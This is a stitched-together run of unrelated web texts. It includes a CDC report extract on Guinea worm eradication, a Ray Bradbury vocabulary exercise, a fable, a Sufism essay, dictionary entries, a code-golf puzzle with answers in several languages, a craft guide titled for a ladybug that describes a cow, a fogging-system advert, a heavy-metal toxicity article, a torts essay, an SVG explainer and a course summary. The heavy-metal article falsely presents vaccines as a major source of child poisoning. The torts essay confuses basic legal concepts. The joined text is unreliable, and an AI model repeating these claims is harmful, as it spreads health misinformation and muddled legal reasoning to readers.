Infected persons do not usually have symptoms until about 1 year after they become infected. A few days to hours before the worm emerges, the person may develop a fever, swelling and pain in the area. More than 90% of the worms appear on the legs and feet, but may occur anywhere on the body.
People, in remote, rural communities who are most commonly affected by GWD do not have access to medical care. Almost invariably the skin lesions caused by the worm develop secondary bacterial infections, which exacerbate the pain, and extend the period of incapacitation to weeks or months-causing in some cases disabling complications, such as locked joints and even permanent crippling. Each time a Guinea worm emerges, persons may be unable to work or resume daily activities for an average of 3 months. This usually occurs during planting or harvesting season, resulting in heavy crop losses.
Once the worm emerges from the wound, it can only be pulled out a few centimeters each day and wrapped around a small stick. Sometimes the worm can be pulled out completely within a few days, but this process usually takes weeks or months.
[List your site here Free!]
Progress toward global eradication of dracunculiasis, 2002-2003
From Morbidity and Mortality Weekly Report, 9/24/04 by T. Santibanez
Editorial Note: Dracunculiasis is a parasitic infection caused by Dracunculus medinensis. Persons become infected by drinking water from ponds contaminated by copepods (water fleas) that contain immature forms of the parasite. One year later, adult worms approximately 1 meter (40 inches) in length emerge through skin lesions, usually on the lower limbs, which frequently develop severe secondary bacterial infections. No effective treatment or vaccine for the disease exists, and infected persons do not become immune to future infections by the parasite. However, dracunculiasis can be prevented by 1) filtering drinking water through a finely woven cloth, 2) treating contaminated water with the larvicide ABATE[R] (temephos), 3) educating persons to avoid entering water sources when Guinea worms are emerging flora their bodies, and 4) providing clean water from bore-hole or hand-dug wells (5).
([dagger]) percentage of villages where dracunculiasis was known to be endemic during 2002-2003 that reported [greater than or equal to] 1 indigenous case in 2003.
([section]) Percentage of villages where dracunculiasis was known to be endemic during 2001-2002 that reported [greater than or equal to] 1 indigenous case in 2002.
(1.) Watts SJ. Dracunculiasis in Africa: its geographical extent, incidence, and at-risk population. Am J Trop Med Hyg 1987;37:121-7.
(2.) World Health Organization. Dracunculiasis eradication: global surveillance summary, 2002. Wkly Epidemiol Rec 2003;78:146-55.
(3.) CDC. Progress toward global eradication of dracunculiasis, January-June 2003. MMWR 2003;52:881-3.
(4.) World Health Organization. Dracunculiasis eradication: global surveillance summary, 2003. Wkly Epidemiol Rec 2004;79:1530-60.
(5.) Hopkins DR, Ruiz-Tiben E. Strategies for eradication of dracunculiasis. Bull World Health Organ 1991;69:533-40.
COPYRIGHT 2004 U.S. Government Printing Office
COPYRIGHT 2004 Gale Group
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August 22: Ray Bradbury Day
Today is the birthday of Ray Bradbury, the American writer best known for his science fiction novels and short stories. He was born in Illinois in 1920 and later moved to Los Angeles where he graduated high school in 1938. After high school he continued learning by educating himself, spending long hours roaming the stacks in the public library.
He began writing full time in 1943, publishing a number of short stories in various periodicals. His first success came in 1950 when he published The Martian Chronicles, a novel made up of a number of his short stories about the human colonization of Mars (1).
In 1953, he published his most popular and critically acclaimed novel Fahrenheit 451, a story about a dark future in which books are illegal, and instead of putting out fires, firemen answer calls to burn illegal caches of books. The main character is one of these firemen, Guy Montag. Instead of reading, the general public immerse themselves in pleasure, watching television screens that take up three of the four walls in their homes and listening to seashell radios that fit in their ears. Like Winston Smith in George Orwell’s 1984, Guy Montag begins to question his job and the entire status quo of the society in which he lives. He begins to become curious about the books he’s burning. However Montag’s curiosity and his books betray him, and the firemen one day arrive to burn his home and his books.
Montag flees the city and comes upon a group of educated but homeless men who each memorize a great work of literature or philosophy. When the time comes to return to the city and rebuild civilization from the ashes of burned books, these men will be ready to play their part. Montag will join them with his book, Ecclesiastes.
Bradbury published over 30 books, almost 600 short stories, as well as a number of poems, essays, and plays. Along with Fahrenheit 451, his most read book, his short stores are published in numerous anthologies and textbooks.
Fahrenheit 451 began as a short story called “The Fireman” published in Galaxy Science Fiction Magazine in 1950. Bradbury’s publisher then asked him to expand the story into a novel in 1953. The first draft of the novel was completed in a typing room located in the basement of the University of California Library. The typewriter was on a timer connected to a change slot. For one dime Bradbury got thirty minutes of typing. (He spent $9.80 to complete the first draft).
When he wasn’t typing furiously against the clock, Bradbury would go upstairs to explore the library:
There I strolled, lost in love, down the corridors, and through the stacks, touching books, pulling volumes out, turning pages, thrusting volumes back, drowning in all the good stuffs that are the essence of the libraries. What a place, don’t you agree, to write a novel about burning books in the Future.
Bradbury had more than just a love affair with books. For him they are the backbone of civilization as illustrated by a statement he made in an interview published in the 50th Anniversary Edition of Fahrenheit 451:
It’s no wonder that one of Bradbury’s most famous quotes is: There are worse crimes than burning books. One of them is not reading them.
Today’s Challenge: Words on Fire
Every love affair with books begins with a love affair with words. The list of 10 words below are all found in Fahrenheit 451. See if you can match each word with its correct definition.
1. To be full of things; to swarm.
2. Harsh, jarring sound; noise.
3. Related to the sense of touch.
4. Someone devoted to the study of literature.
5. The state of being forgotten.
6. Excess words.
7. Delicate, ornamental work made from twisted wire of gold or silver.
8. Rhythmic; expressive.
9. A bladed toll with a long bent handle, used for cutting or mowing.
10. Related to the sense of smell (3).
Quote of the Day: The television, that insidious beast, that Medusa which freezes a billion people to stone every night, staring fixedly, that Siren which called and sang and promised so much and gave, after all, so little. –Ray Bradbury
Answers: 1. teem 2. cacophony 3. tactile 4. litterateur 5. oblivion 6. verbiage 7. filigree 8. cadence 9. scythe 10. olfactory
1- About Ray Bradbury
2 – Bradbury, Ray. Fahrenheit 451. The 50th Anniversary Edition. New York: Random House.
3. Fahrenheit 451 Vocabulary List.
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Gateway to the Classics: Indian Fables by Ramaswami Raju
Indian Fables by Ramaswami Raju
The Smithy
Once words ran high in a smithy.
The furnace said, "If I cease to burn, the smithy must be closed."
The bellows said, "If I cease to blow, no fire, no smithy."
Similarly the hammer and the anvil each claimed to itself the sole credit of keeping up the smithy.
The ploughshare, that had been shaped by their joint efforts, said, "Gentlemen, it is not each that keeps the smithy, but all together. With but one, good for none. Without the many, no good to any. The world works by combination."
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Definitions for "Full-text database"
a database that allows the user access to the full-text of the books, articles, and other items it contains.
A database which includes text passages. Typical examples of a full text database would be newspaper databases, but could also include a database for searching lesson plans or historical records. |
Sufism: The Science of Perfecting Awareness
The word 'Sufism' has no original meaning in English. It appears to be a symbolic representation (and sometimes trivialization) of a significant and meaningful word in Arabic (Tasawwuf, self-purification). This Arabic word denotes, among other things, the purification process deriving from, and whose existence is solely dependant upon and the sole point of, a definable and observable activity, i.e. the study and practice of Islam under the directorship of an authorized and truly matured spiritual master.
The study and application of the above mentioned purification process, including its practices, analysis and documentation, became the domain of the Sufi masters and students, and it came to be recognized as the esoterics, or inner knowledges, of Islam. Hence the similarity of Sufism to western psychology and the derivation of its claim to the title 'Islamic Psychology'.
There are of course obvious and glaring differences between Sufism and western psychology, most notably in intention. But it is a part of the hope and work of the sufis that as western psychologists continue their leading edge search into the spiritual traditions of other cultures, they will be able to unify with and utilize the common intentions and goals of most spiritual teachers.
Although sufis do not claim their system to be the only way, (as it is both obvious and very respectfully noted that many effective systems have come before it), we do point out that Islamic Sufism is the most recent and complete emergence of the principles of spiritual liberation and certainly famous for it's efficacy.
Liberation implies 'being set free'. It is not to be equated with rebellion, revolution or self-assertiveness. It can only be accomplished by an unconditional surrender, the reality of which must be tested. The only true test of a master is by another master. A sufi adage goes "call no man master lest he set you free." This kind of spiritual freedom only increases the love, respect and service one has for one's teacher, much the same as one reaches maturity and goes about one's life independently never losing the love and respect for one's caring parents.
All spiritual traditions (religions) have their exoteric disciplines (practices) and their esoteric sciences. These sciences have evolved like any others as a result of study and observation of the beneficial effects of devotion to the practice of the outward disciplines.
The true point of all religions is to provide a formula (teaching) and catalyst (teacher) for alchemy (the spiritual transformation of the student); the guided transformation of lead (the childish ego) into gold (the spiritually mature adult). So all teachings must have their outward formulas, but without the chemist, the alchemist, the transformed teacher to act as guide, these laws are without reality, meaningless and ineffective. Under mature guidance, Islam is a spiritually and socially transformative influence par excellence, and the sufi way is widely known as an alchemy for spiritual evolution.
The Perfection of Awareness
There are three stages to the perfection of awareness (at the end of which you are no longer aware, it is only Allah who is aware). They are:
Islam - Acceptance and Surrender (to the way of the peace and the love) - Surrender begins with the realization that guidance cannot be and should not be 'self-provided', that it must be sought at the hand of a realized spiritual master; and acting in accordance with that knowing. At this point, according to your level of Himma (willingness), you will be put into contact with the classical Islamic learning process.
Iman - Correct faith (with experientially verifiable certainty). The perfection of faith is its conversion to certainty (Yaqin) yielding correctness in behavior and knowledge coming from the complete realization of Truth and a deep understanding of the human situation. This process has three phases: Hearing the Truth, Seeing the Truth, and Being the Truth.
`Ilm ul Yaqin - Hearing about this Knowledge. Knowing that there is a certainty. Seeking out and studying this knowledge.Realizing that there must be people and masters of this science and seeking them out.
`Ain ul Yaqin - Seeing the Truth, the Reality. Discovering the Source of Certainty. Coming into the presence and accepting the guidance of the people of this knowledge.
Haqq ul Yaqin - Being the Truth. Attainment. Becoming the reality (a carrier) of this Certainty.
Ihsan - Perfect guidance (finished, liberated, able to guide others). Spiritual Liberation implies the perfection of one's understanding of purpose and purity of intention. It does not imply the kind of liberty that supports childish behavior and undisciplined carelessness. This is the holy station of 'Salik al Majdhubi", the contained and sober intoxicated; the Sufi who is the union of the way of the walking (Shari`at - Muhammadun Rasulullah) and the Ultimate Reality (Haqiqat - La ilaha illa 'llah).
The completion of this process of alignment is the ultimate fulfillment and the end of personal desire and hence the end of the ruling power of the perverse ego (both your own and others'), since ego is the defensive aggressive tool constructed for the purpose of attaining personal desire. Personality is thence put to the uses that Allah intended for it in the first place, namely service, friendliness and education. |
Business Definition
Business Definition
Here we will answer your questions which you should know before you start studying business in school, Such. What is a Business definition? and what is a business?
Business in dictionary
1. uncountable noun
Jennifer has an impressive academic and business background.
….Harvard Business School.
2. uncountable noun
They worried that German companies would lose business.
3. countable noun
business is an organization that produces and sells goods or that provides a service.
The company was a family business.
The majority of small businesses fail within the first twenty-four months.
4. uncountable noun
I’m here on business.
You can’t mix business with pleasure.
5.singular noun
May I ask you what business you’re in?
6. singular noun
…recording Ben as he goes about his business.
7. uncountable noun
The most important business was left to the last.
8. uncountable noun [poss N]
My sex life is my business.
If she doesn’t want the police involved, that’s her business.
9.singular noun
You can use business to refer in a general way to an event, situation, or activity. For example, you can say something is ‘a wretched business’ or you can refer to ‘this assassination business.’
We have sorted out this wretched business at last.
10. See also big businessshow business
11. do business
12. have no business
13. be in business
14. out of business
business wiki
According to Wikipedia
business is an organization where people work together. In business, people work to make and sell products or services. Other people buy products and services. The business owner is the person who hires people for work. A business can earn a profit for the products and services it offers. The word business comes from the word busy and means doing things.
Originally, individual tradespeople were qualified, and they hired assistants. The invention of the joint-stock company meant a new era in business. By this means, some people put up the money as capital, and others used it to run the business. There is a law which says this kind of company is a “legal entity”: it has a legal life separate from its owners or shareholders. In this way, a company can outlive the people who started it. This idea was invented in medieval times but really flowered in the 19th century. It has spread around the world since then.
Most businesses are created for commerce. There are big and small businesses. For example, one person can open a small barber-shop. A big business, like Microsoft, employs thousands of people all over the world.
Some businesses need fixed locations. Examples are an office, store, or farm. For some businesses, the worker goes to different locations. Examples are carpenters or electricians. They usually bring everything they need for work in their truck.
Business can also mean the work or current state of a business. A business owner might say: “I am doing a lot of business” or “My business is good” or “Business is bad”.
The term can also be used in a more general way. As a noun, it can be used, for example, to speak about a broad area of activity |
Dina loves most numbers. In fact, she loves every number that is not a multiple of n (she really hates the number n). For her friends’ birthdays this year, Dina has decided to draw each of them a sequence of n−1 flowers. Each of the flowers will contain between 1 and n−1 flower petals (inclusive). Because of her hatred of multiples of n, the total number of petals in any non-empty contiguous subsequence of flowers cannot be a multiple of n. For example, if n=5, then the top two paintings are valid, while the bottom painting is not valid since the second, third and fourth flowers have a total of 10 petals. (The top two images are Sample Input 3 and 4.)enter image description here
Dina wants her paintings to be unique, so no two paintings will have the same sequence of flowers. To keep track of this, Dina recorded each painting as a sequence of n−1 numbers specifying the number of petals in each flower from left to right. She has written down all valid sequences of length n−1 in lexicographical order. A sequence a1,a2,…,a(n−1) is lexicographically smaller than b1,b2,…,bn−1 if there exists an index k such that ai=bi for i < k and ak < bk.
What is the kth sequence on Dina’s list?
Input The input consists of a single line containing two integers n (2≤n≤1000), which is Dina’s hated number, and k (1≤k≤1018), which is the index of the valid sequence in question if all valid sequences were ordered lexicographically. It is guaranteed that there exist at least k valid sequences for this value of n.
Output Display the kth sequence on Dina’s list.
Sample Input 1
4 3
Sample Output 1
2 1 2
Sample Input 2
2 1
Sample Output 2
Sample Input 3
5 22
Sample Output 3
4 3 4 2
Sample Input 4
5 16
Sample Output 4
3 3 3 3
• \$\begingroup\$ Welcome to PPCG. Nice first question. \$\endgroup\$ – ElPedro Nov 10 '18 at 12:21
• \$\begingroup\$ Did you write this question or is it from another source? \$\endgroup\$ – Peter Taylor Nov 10 '18 at 17:23
Haskell, 87 bytes
n#k=[d|d<-mapM id$[1..n]<$[2..n],all(\x->mod x n>0)$p d]!!k
p x=x
Uses 0-based indexing. Needs the latest version of Prelude which is not installed on TIO, hence an additional import.
Try it online!
d|d<-mapM id$[1..n]<$[2..n] -- keep all 'd' from the lists of numbers [1..n] of
-- length n-1
, all(\x-> ) -- where all elements 'x' from
p d -- the sums of the subsequences of 'd'
mod x n>0 -- are not a multiple of n
[ ]!!k -- pick the 'k'th element
p(x:y)=scanl(+)x<>p$y -- the sums of subsequences are calculated by
-- prepending the cumulative sums of the list to
-- a recursive call with the tail of the list
p x=x -- base case for recursion: empty list
Jelly, 12 bytes
A dyadic Link accepting n on the left and k on the right.
Try it online! (no way this will work for large n, but would in theory)
’ṗ`Ẇ§%ẠʋƇ⁸ị@ - Link: integer n, integer k
’ - decrement n -> n-1
` - use for both arguments of:
ṗ - Cartesian power (all (n-1)^2 flower sequences - lex order)
⁸ - chain's left argument, n (as right argument for...)
Ƈ - filter keep those (sequences) which are truthy under:
ʋ - last four links as a dyad (f(sequence, n)):
Ẇ - all ((n-1)n/2) contiguous sublists (of the sequence)
§ - sum each
% - modulo (n)
Ạ - all? (all non-zero?)
@ - with swapped arguments (i.e. f(k, listOfValidSequences)
ị - index into (1-based)
Perl 6, 74 68 bytes
{([X] (1..^$^a)xx$a-1).grep(!*[^*X.. ^*].grep:{$_&.sum%%$a})[$^b-1]}
Try it online!
Anonymous code block that returns a list of numbers, or an integer in the case of \$n=2\$.
{ } # Anonymous code block
([X] (1..^$^a)xx$a-1) # From all n length sequences of 1 to n-1
.grep( ) # Filter by
! .grep:{ } # None of
*[^*X.. ^*] # All partitions (including empty lists)
$_ # Are non-empty
&.sum%%$a # And the sum is divisible by n
[$^b-1] # Get the kth index of the list
Charcoal, 35 bytes
Try it online! Link is to verbose version of code. Works by taking the range \$ n^{n-2} \ldots n^{n-1}-1 \$ in base \$ n \$ and filtering out illegal sequences (including ones with zero digits). Explanation:
Ｎ Input `n` as a number
θ Save in variable
θ `n`
Ｘ To the power
θ `n`
⁻ Minus
² 2
… Ranged up to
θ `n`
Ｘ To the power
θ `n`
⊖ Decremented
Φ Filtered `i` by
¬ Not
θ Implicit range `0` .. `n-1`
Φ Filtered `l` by
λ Implicit range `0` .. `l`
Φ Filtered `m` by
¬ Not
Σ Sum
ι `i`
↨ Converted to base
θ `q`
✂ Sliced
ν From `m`
λ To `l`
¹ Step 1
﹪ Modulo
θ `n`
§ Indexed by
η Second input `k`
⊖ Decremented
↨ Converted to base
θ `n`
Ｉ Cast to string
Implicitly printed
Your Answer
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Funny ladybug
In kindergarten and school, at home and in the circle of “skillful hands” - everywhere and always, children are happy to make bright and interesting crafts, come up with unusual things to decorate a classroom or their room, make original gifts for friends and parents, and prepare work for the exhibition or competition. At the same time, children's products are distinguished by the simplicity of the materials used and the ease of manufacture, because little craftsmen must cope with work without the intervention of adults. So, any kid can make funny animals out of eggs. Having shown a little imagination, you can make, for example, a cheerful cow from an egg shell.
To make the craft, we need the following basic materials: an egg (we make a small hole in the shell and pour the contents), gouache paints, floss thread, cardboard, plain paper, PVA glue and super-glue, a brush, scissors, a simple pencil, varnish, sewing accessories.
Carefully glue the hole made in the egg shell with paper, and then paint the whole egg in yellow. After the paint dries, draw black spots on top.
From the cardboard we cut out the head of the cow and select the main details with a simple pencil. In size, the head should be slightly smaller than the body. Color the lower part in pink, the upper in the same yellow-black colors. Draw the eyes, ears, horns and mouth.
Now we glue two main parts. At the same time, we fix the head on the side - as if it was slightly turned to the side. We fix all the details on super-glue, otherwise they simply will not hold.
We proceed to the manufacture of the remaining parts. Cut the legs - a narrow strip of cardboard, glued on both sides with squares of plain white paper. We also prepare the basics for the tail and crest. The legs and top of the tail are painted in yellow, the hooves and everything else in brown.
From a mouline thread we make a crest. To do this, we sew the cardboard base with threads, but we do not tighten the loops. Then glue the crest to the head.
In order to attach the legs, it is necessary to make cuts on the sides if they are not there initially (we cut approximately to the middle). It is better to cut off the upper corners so that then they do not peel off from the round base of the body and do not puff. Now glue the parts.
The tip of the tail is also made of floss thread, winding them on the brown part. Using scissors and PVA glue, we give the tail the necessary look - cut it out in the shape of a triangle and coat with glue so that the threads do not fray.
The craft is ready. For greater strength and safety, it is better to varnish the product.
Using the same principle, using cardboard, paints and eggshells, it’s enough to just come up with and make a lot of different animals.
Such cute animals made of eggs made by the baby’s hands can be a great present, souvenir, toy or decoration. |
Misting and Fogging
Make the task of managing your Cooling easier with Mistafog Fogging & Misting Systems
Fogging systems and misting systems are a cost effective and versatile way of controlling temperature, humidity and dust, in your greenhouse, warehouse, storage facility, quarry, recycling centre (MRF), farm, propagation nursery, or even your outdoor entertainment area.
Fogging systems and misting systems are often confused with each other as they are substantially the same. The difference between misting and fogging systems being in the size of the droplet they produce. Misting systems typically operate between 100psi and 250psi, with low pressure lines and nozzles. Misting normally produces droplets around 200 microns in size. Because of its size the droplet will drop to the floor relatively quickly and may cause wetness. High pressure fogging produces a droplet so fine (around 10 microns) that it is able to remain suspended in the air until it evaporates. The size of the fogging droplet also makes it ideal in dusty situations, to bond with dust particles to prevent dust escaping and or being inhaled.
misting fogging contact
Fogging systems are the most effective and uniform method of greenhouse cooling and can achieve temperature drops up to 10oC in unshaded and 15oC in shaded greenhouses. High Pressure Fogging Systems produce very small droplets of water of around 10 microns, which are suspended in the air and evaporate before they fall onto the crop.
Misting systems that operate at up to 250psi, produce a droplet size of 10 to 20 times that of a High Pressure Fogging System (i.e. 100 to 200 micron) and these droplets are too heavy to be suspended in the air. The increased droplet size leads to poor evaporation, reduced greenhouse cooling effectiveness and significant wetness in the greenhouse. The wetness on the foliage can cause increased disease, fruit damage and general wetness can pose a safety risk to greenhouse staff.
High Pressure Fogging which operates at over 700psi produces droplets as small as 10 micron which gives optimal greenhouse cooling and temperature control. At this size the droplets flash evaporate, eliminating the chance for excess wetness to occur and cooling the greenhouse. As this cooling is happening in the area where the heat is, the cool air travels down to the crop level, to be replaced by the hot air rising. The convection air currents ensure even temperature distribution throughout the crop without the need for fans to stir and distribute the cooler air around the greenhouse
With droplets as fine as 10 microns, fog “flash evaporates” so that cooling is achieved with out wetness accumulating on the floors, plants, equipment and people. Because the droplets fully evaporate high pressure fogging is often referred to as dry fog. One of the advantages of high pressure fogging is that it is applied directly where the hot air is located. The hot air in the top of the greenhouse is cooled and then drops to the crop level, to be replaced by hot air rising. This continuous natural convection ensures even distribution of the cooled air over the crop without any further circulation being required through extra mechanical assistance. Careful balancing of the system for both droplet size (through pressure adjustment) and cycling of the system ensures that cooling is achieved without wetting the crop. The MistaFog system is based on achieving maximum atomisation of the water and hence evaporation, but with minimum water flow. Greenhouse misting systems bring dramatic cooling effects using the power of evaporative cooling, the process of evaporation actually using heat from the air.
Ideal humidity should be between 50% and 70% for ideal growing conditions, however much higher levels are achievable if required, such as in propagation nurseries. When heat goes up, humidity levels drop. The already stressed plants face double trouble, and it can be a deadly combination. High pressure fogging can provide almost immediate humidification, overcoming a potential huge loss in greenhouses. Mushrooms contain around 90% water. Since there is no barrier between the mushroom surface and the air, mushrooms lose water and weight very quickly in humidity below 90%. Accurate humidity and temperature control is essential throughout the stages of mushroom production. Compost must be moist, but without wetness. Spawning requires high humidity – and high temperature. High humidity is especially crucial during pinning, when watering is not advised
Dust Control
Dust is an ever increasing environmental problem. High pressure fogging produces small droplets and this is the determining feature that makes it so effective. When water droplets sprayed to control dust are too large, the dust particles flow around the droplets, and are not absorbed. If the droplet diameter is much greater than the dust particle, the dust particle simply follows the airstream lines around the droplet, and little or no contact occurs.
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Heavy Metal Toxicity – An Unsuspected Illness
Heavy metal poisoning is at the rising stage and becomes a serious concern that causes several numbers of other unknown serious health problems. Heavy metal is described as any kind of chemical element of metals that includes a high density and are poisonous at low absorption.
Many natural heavy metals are present in our ecosystem and do not cause any problems in small concentrations. However, there are lots of heavy metals used in numerous products that are used by us in our day to day life and some of them have seeped into our foods. This study was done by naturopathic centers such as that also gives the harmful side effects of this as mentioned below.
Heavy Metals
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The major problem with heavy metals in our bodies is their capability of bio-accumulation. Bio-accumulation is known as that the metal does not ready to depart from the body of their own and build up in certain tissues.
The main target of the heavy metals in the liver, kidneys, intestines, brain, and nervous system, even also to the eyes. Metals that are embedded in the system will not be deleted until and unless any kind of intrusion is not used to wash them out.
Heavy metal exposure depends on your lifestyle, place where you live. Sadly, there are so many babies who are poisoned due to breast milk. Especially children are at high risk due to the presence of many vaccines that contains heavy metals such as aluminum and mercury. |
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Torts Law
Torts Law
Tort is a branch of private law that deals with unfair and tortious behaviors that cause harm to someone. In this case, the law acts to solve differences between parties in collision and not judge criminal acts. In torts law, the person who commits tortious acts is tortfeasor, while the victim is the plaintiff. This paper seeks to analyze the application of torts law to the issue highlighting the cause and the judgment passed to the person found guilty. Asking truck driver to have new hitches as they approach utopia’s highway is understandable, since it is a safety measure. Moreover, specifying the type of hitch without considering opinions from other sources is too much to ask. Trespass tort entails interference of one’s enjoyment to their property. While nuisance tort is the interference of a property, the two main forms of actions in torts are actions in trespass, and actions in negligence. Interests protected in torts law.
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In this scenario, Nancy is the plaintiff and seeks justice in the issue at hand. The state of utopia is enacting a statute that requires all truck drivers to use c-type hitches in utopia’s highways. This is considered a safety measure in most states; however, specifying the hitch to use without giving reasonable explanations is violating other people’s right. The GAO (Government Accountability Office) is an investigative arm of the United States that ensures that the federal government protects American people in conjunction with their constitutional rights (Cochran & Ackerman, 2004). This arm was founded in order to hold people accountable for their performance in their workplaces. However, this arm also protects anyone accountable under the certain conditions.
By this, Nancy and other truck drivers struggling with additional expenses that the statute is imposing to their business. The law of torts protects the certain interests, such as personal security through the cause of action forms. Defamation tort is a subject to damage of a person's reputation. The plaintiff is entitled to receive monetary compensation, from the tortfeasor; once the tortfeasor is proven guilty. This breach of duty is mainly reflected in negligence. The main relevance of Torts law is to ensure there is compensation when one party tricks the other especially if one suffers damages from the breach. Unlike criminal law where the Contest is between the government and the defendant, in torts law plaintiff sues the tortfeasor for compensation. The plaintiff in torts laws stands as his/her own witness and not of the government as in criminal law. The only similarity between a criminal and tort law is that in tort law there is an imposition of punitive damage. Whereas in criminal law, under the criminal injuries compensation statutes, a victim of crime is awarded some limited compensation (McBride & Bagshaw, 2008).
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For instance, acts are continuously implemented, in order to ensure the law is supported and fits with the changing times. For example, The Sarbanes Oxley Act was sponsored by a US senator and representative namely Paul Sarbanes and Michael G. Oxley respectively. This bill was enacted in the year 2002 having been named after the two. This act, which has eleven titles, does not affect the private owned companies for it came up when the public started losing trust in the security firms after the major collapse of some firms, such as WorldCom, Enron, just to mention but a few. Studies conducted in the last few decades have found out that the economic decisions that are made depend on the rational behaviors made by financial planners. There are instances when traditional and behavioral finances become unable to define the lack of rationality; in this case, behavioral finance is applied as an alternative solution to economic decision-making (Harlow, 2005).
Without a lawful excuse, the person enacting the statute should be charged for breach of duty. This is because of the misuse of power in violating the rights of truck drivers. The main relevance of tort law is compensation or imprisonment when one party suffers from the damages of civil wrongs caused by another party’s acts or omissions. Unlike criminal law where the Contest is between the government and the defendant, in torts law plaintiff sues the tortfeasor for compensation Cochran & Ackerman, 2004). The plaintiff must prove that the harm suffered was due to defendants’ omission. The test to determine this is called the “but for test-in the absence of’. This means, if the plaintiffs are able to state that the damage would not happen if not specified c-type hitches.
In Nancy’s case, the tort law inquires her to raise the required amount of evidence to prove of pecuniary loss. If, by any chance, the evidence raised discriminates tortfeasor, then Nancy will be granted compensation for pecuniary harm, such as the loss she encountered. Economic loss of earnings limited to a number of 'special' and properly outlined circumstances, based on the relationship dynamic of the duty to the plaintiff. This dynamic is reliant on the puling and pushing forces of clients, their lawyers and other advisers, based on the amount of money each gets.
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According to the U.S constitution, the statute is the unconstitutional one if it imposes the impermissible burden on the drivers and it can be compared to an import obligation to drive in the state which is prohibited. Nancy should be compensated with monetary value for the time and resources she spent in following up the case. This case deals with harm inflicted on another party due to negligence, involving that a breach of a civil duty. This harm is not only refers to physical injuries, but also constitutional rights, violation of property, economic and emotional harm. In Australia, there is a rule of “no fault” in which case one has to prove that there was someone’s negligence that led to injury, in order for compensation to be allowed. Many of the paramedics, who also include volunteers, may face injuries in their line of work.
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Get Started With SVG
Professional designers and developers are using Scaleable Vector Graphics (SVGs) more than ever before. SVG files are image files written with code that draw lines known as vectors. This is drastically different than a pixel file like the JPG, PNG or other image file types. I use Adobe Illustrator, a vector based program, to edit a vector file instead of photoshop, a pixel editing program. Encapsulated PostScript (.eps), Adobe Illustrator files (.ai) and SVGs (.svg) are all similar file types but cannot always be used interchangeably. I’m going to explain the difference between a vector and pixel and when you should use vectors. You’ll learn how to tell the difference between the two and better understand the best file types to use for your situation.
Vector Vs. Pixel
We are taught that a vector is a line from point A to point B. This is still true when speaking about digital vectors on a screen but in this medium, we call them paths. Here is an example of how we work with paths in Adobe Illustrator.
Today’s most popular vector editing programs include Adobe Illustrator, Corel and SVG Edit. These programs draw vector lines and shapes based on the mathematical Bézier Curve. This format of creating a graphic allows it to scale image size without losing detail. Take a look at what happens when we zoom on a vector based graphic, no detail is lost when upscailing.
SVG at 50px wide.
The same SVG file at 300px wide.
Download File Type Examples
Professional designers will create logos in vector format because of their ability to retain detail at all sizes. Logos are expected to be printed extremely large for trade shows, billboards and marketing material. The same image also needs to be readable at very small sizes in communications, stamps, on products and many other areas. The ability to retain quality no matter the size is critical and vector graphics meet this requirement with ease.
Pixel (Bitmap)
Digital photography is considered a bitmap image. Common bitmap file types are jpg, gif, png, bmp, and tiff. Bitmap images are based on blocks crammed with color otherwise known as a pixel. These blocks are placed in sequence next to each other to create a full image. The term “HD television” is often referring to a high number of blocks or pixels used to create finer detail. Today’s most popular bitmap programs for photo editing are Adobe’s three products Photoshop, LightRoom and Elements. Another option other than Adobe is Corel PaintShop
JPG at 50px wide.
The same JPG file at 300px wide.
Final Lesson & Resources
The Vector Becomes The Pixel
When a vector becomes a pixel there is no going back. A pixel cannot be reverted into a vector without tracing or redrawing the image. You can save a vector formatted file as a bitmap image but you cannot do the opposite. If you are a developer, SVGs are also compatible with every major desktop and mobile browser according to Can I Use.
SVG & Vector and Resources
Font Awesome – A vector font library of general icons and graphics for social media and so much more. Many of my sites, including this one, use Font Awesome.
Glyphter – Create your own vector font to use in web development and computer apps.
Vecteezy – A free and subscription-based library of higher quality vector artwork. I often use this library as inspiration when creating my own graphics and have used graphics from this site.
Brands of the World – The largest free library of downloadable vector logos, and a logo critique community.
I am a Frontend Web Developer with a BFA in Graphic Design. I create custom WordPress themes and edit prebuilt themes on WordPress and Shopify. Boats are also kind of my thing. |
Course Summary: “Principles of Human Ecology” by Peter Richerson et al
Title: Principles of Human Ecology
Author: Peter Richerson, Monique Mulder and Bryan Vila
Scope: 5 stars
Readability: 3 stars
My personal rating: 5 stars
See more on my book rating system.
Topic of Book
This “book” consists of the syllabi and notes for a college-level course on Human Ecology at UC Davis. Along with the Gerhard Lenki books summarized earlier, they are an excellent overview of human societies. Like Lenski’s book, they rely heavily on the concept of Society Type.
Key Take-aways
• Concepts and methods shared with the biological sciences are useful to understand human behavior and societies
• Human societies are best categorized by how they produce their food.
• The most important society types are:
• Hunter Gatherer societies
• Fishing societies
• Herding societies
• Horticultural societies
• Agrarian societies
• Commercial societies
• Industrial societies
Important Quotes from Book
What is human ecology? Human ecology is an approach to the study of human behavior marked by two commitments. First, human ecologists think that humans should be studied living systems operating in complex environments… Second, human ecologists think that humans are subject to very similar ecological and evolutionary processes as any other species. Of course, humans are unique, and this fact has important consequences.
THE PRACTICAL MESSAGE: We do not yet know enough about humans to reliably control our more dangerous and destructive behaviors.
The basic rationale for human ecology is that concepts and methods shared with the biological sciences ought to be useful to understand human behavior.
The ecological perspective has been responsible for some of the greatest successes in the social sciences, and it is really the only perspective to offer a plausible scheme for understanding human behavior synthetically.
Humans are a problem for modern Darwinism mainly because of the complexities caused by culture.
Steward was one of the pioneers of the field of cultural ecology. One of the great contributions of cultural ecologists was to furnish us with a taxonomy of human cultures based on subsistence relations. We will use this taxonomy in this course. It turns out to be a great scheme to systematically organize the great mass of things we know about human behavior. Ask Steward’s first question How do they make a living? and much else falls into place.
One might go so far as to say that the main human genetic adaptation is the neural and anatomical machinery to use culturally acquired technology as an adaptive device.
A second important issue is that many cultural behaviors don’t look very adaptive.
The discovery of human diversity is the great contribution of classical anthropology, archaeology and history.
The advent of the voyages of discovery late in the 15th Century greatly increased contact with more distant societies, but appreciation of the nature of human diversity was quite poor until a more scientific approach to exploration was begun in the latter part of the 18th Century.
Only in the last decade have comparative psychologists come to have a reasonably clear picture of how much social learning takes place in animals. The general answer is clearly that many examples can be cited in birds and mammals, but certainly the capacities of culture in animals are much more modest than in humans… Imitative tasks that humans find quite easy, even our relatively big-brained primate cousins find virtually impossible!
Julian Steward’s 1955 book “Theory of Cultural Change” was important because it was the first synthesis of the discoveries of human diversity and uniqueness using ecological and evolutionary ideas… He gave us a simple, workable model of adaptation to environment via culture.
The basic method Steward advocated was to trace the effects of environment, acting through technology, as deep into a culture as the effects actually went. Recall from the first part of the lecture the key role of technology for Steward’s method.
